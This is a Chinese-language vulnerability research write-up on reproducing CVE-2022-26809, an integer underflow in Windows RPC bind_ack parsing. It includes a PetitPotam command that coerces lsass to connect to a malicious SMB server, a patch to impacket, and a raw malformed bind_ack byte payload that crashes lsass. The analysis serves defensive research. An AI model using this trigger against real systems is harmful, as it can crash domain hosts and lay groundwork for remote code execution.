作者:HuanGMz@知道創宇404實驗室
時間:2022年5月20日
English version: http://www.bjnorthway.com/1907/

1. 漏洞介紹

2022年4月份修復的高危漏洞 CVE-2022-26809 距今已經過去一月有余,期間除了 L1nk 師傅發了一篇關于 GetCoalescedBuffer() 漏洞函數觸發條件的分析,再無其他消息。我這邊雖然分析出了 ProcessReceivedPDU() 漏洞函數的觸發邏輯,但苦于無法在默認系統上觸發,也沒什么進展。

直到 5月18日,corelight 上發了一篇關于 CVE-2022-26809 的漏洞利用檢測文章 ,同時給出了相關的github 倉庫,倉庫中附帶了捕捉的 漏洞觸發數據包。

文章中提到 CVE-2022-26809 位于OSF_CASSOCIATION::ProcessBindAckOrNak() 函數中,這是一個 客戶端解析 bind_ack 響應的函數。我和 L1nk 師傅一開始都忽視了這個函數,因為我們覺得客戶端的漏洞和 ”有希望成為蠕蟲漏洞“ 的描述不符,不太可能是 CVE-2022-26809。但實際上 當我們調用目標主機的 EfsRpcDecryptFileSrv() efs rpc 函數時,該函數會根據我們傳入的unc路徑,向我們的惡意smb服務器 的 srvsvc 端點發起bind請求。這樣 服務端 也就變成了 客戶端,就會調用 ProcessBindAckOrNak() 處理我們的惡意smb服務器返回的 bind_ack 數據包。現在看還是對 smb 之類的知識了解的太少。

EfsRpcDecryptFileSrv() 是 lsass.exe 進程里的,位于c681d488-d850-11d0-8c52-00c04fd90f7e 接口的一個rpc函數,你可以通過 \pipe\lsass 端點訪問它。

efs 相關的rpc函數在2021年曾出過 PetitPotam 域提權CVE-2021-43893 域控文件寫 幾個著名的漏洞。雖然 CVE-2022-26809 和 這幾個漏洞原理不類似,但觸發方式類似,我們完全可以復用 PetitPotam 的腳本,免去了自己寫rpc 客戶端的麻煩。

推薦閱讀這篇文章 https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/,了解關于PetitPotam 的漏洞發展歷史。

2. 漏洞復現

2.1 調用 EfsRpcDecryptFileSrv() 函數

使用 ly4k 的 PetitPotam 腳本進行調用,倉庫鏈接:https://github.com/ly4k/PetitPotam

需要注意的是,由于 2021年12月份的 CVE-2021-43893 的補丁,我們要給腳本里加兩行代碼:

在 PetitPotam.Connect 函數要加兩行代碼 (加在 dce.connect() 前面就行):

dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

這兩行代碼是為了滿足新增的 EFSRPC 強化措施。

調用 PetitPotam 腳本:

python3 petitpotam.py -pipe lsarpc -method DecryptFileSrv  -debug 'mr.wang:123@192.168.33.159'  '\\192.168.33.154\srvsvc\test.txt'

192.168.33.159 是目標主機的地址, 192.168.33.154 則是我們的惡意 smb 服務器的地址。遺憾的是我必須使用賬號和密碼,尚不確定原始poc是如何解決smb認證的問題的。

此時如果用 Procmon 來監測 lsass.exe 進程,你會看到它嘗試打開 \\192.168.33.154\pipe\srvsvc 端點。

2.2 搭建惡意 smb 服務器

直接使用 impacket 的 smbserver.py 里的 SimpleSMBServer 例子:

from impacket.smbserver import SimpleSMBServer

myserver = SimpleSMBServer(listenPort=445)
myserver.start()

推薦在linux里搭建。

我們需要控制對 rpc bind 請求的響應,所以直接修改 rpcrt.py 庫文件。

找到 rpcrt.py 文件里的 DCERPCServer.bind() 函數,直接注釋,然后改為下面,相當于每次返回固定的 bind_ack 數據包。

d = b'\x05\x00\x0c\x03\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x02\x10\xb8\x10\xb8\x00\x00\x12\x34\x00\x00'
print(d)
self._clientSock.send(d)

這一串數據也就是觸發漏洞的關鍵 payload。

2.3 捕捉崩潰

打開目標主機防火墻的445端口。

關閉 smb2 協議:

Set-SmbServerConfiguration -EnableSMB2Protocol $false

開啟 sbm1 協議:

Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

這一步不是必須的,主要是方便我們 wireshark 捕捉觀察rpc數據。

使用 gflags.exe 給 lsass.exe 進程開啟頁堆,然后重啟系統。

選一種方式調試 lsass.exe,我使用內核調試,防止卡死。

然后開啟惡意smb服務器,使用腳本調用 EfsRpcDecryptFileSrv() 函數。

然后就能捕捉到異常了。

如果正常,你會在 wireshark 里看到在調用 EfsRpcDecryptFileSrv()之后,有一串的 bind 和 bind_ack 數據包:

3. 漏洞分析

數據包有兩個特點,frag_len 為 0x1a, ScnDry_Addr_len 為0,且數據包在這個字段截斷,后面就沒了。

BufferLength 即是數據包的長度 為0x1a,第一次 BufferLength - 0x1A ,結果為0,然后由于 sec_addr_length 為0,所以會進入 else 分支,0 - 0x1c 整數下溢。

后面 取 sec_addr_length地址 + 2 + 2 ,由于數據包到 sec_addr_length 結束,所以這個地址實際已經越界。

另外有一點需要注意:我們前面觸發漏洞的 payload 使用的是大端字節序,但實際上使用小端字節序也能正常觸發漏洞,所以和 Data Representation 字段是否為0應該沒有關系。

最后,還沒有解決調用 EfsRpcDecryptFileSrv() 時的smb認證問題。擅長漏洞利用的師傅可以試一試了。

附:

http://showlinkroom.me/2022/04/30/Windows-CVE-2022-26809/

https://corelight.com/blog/another-day-another-dce-rpc-rce

https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/

https://github.com/ly4k/PetitPotam


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1906/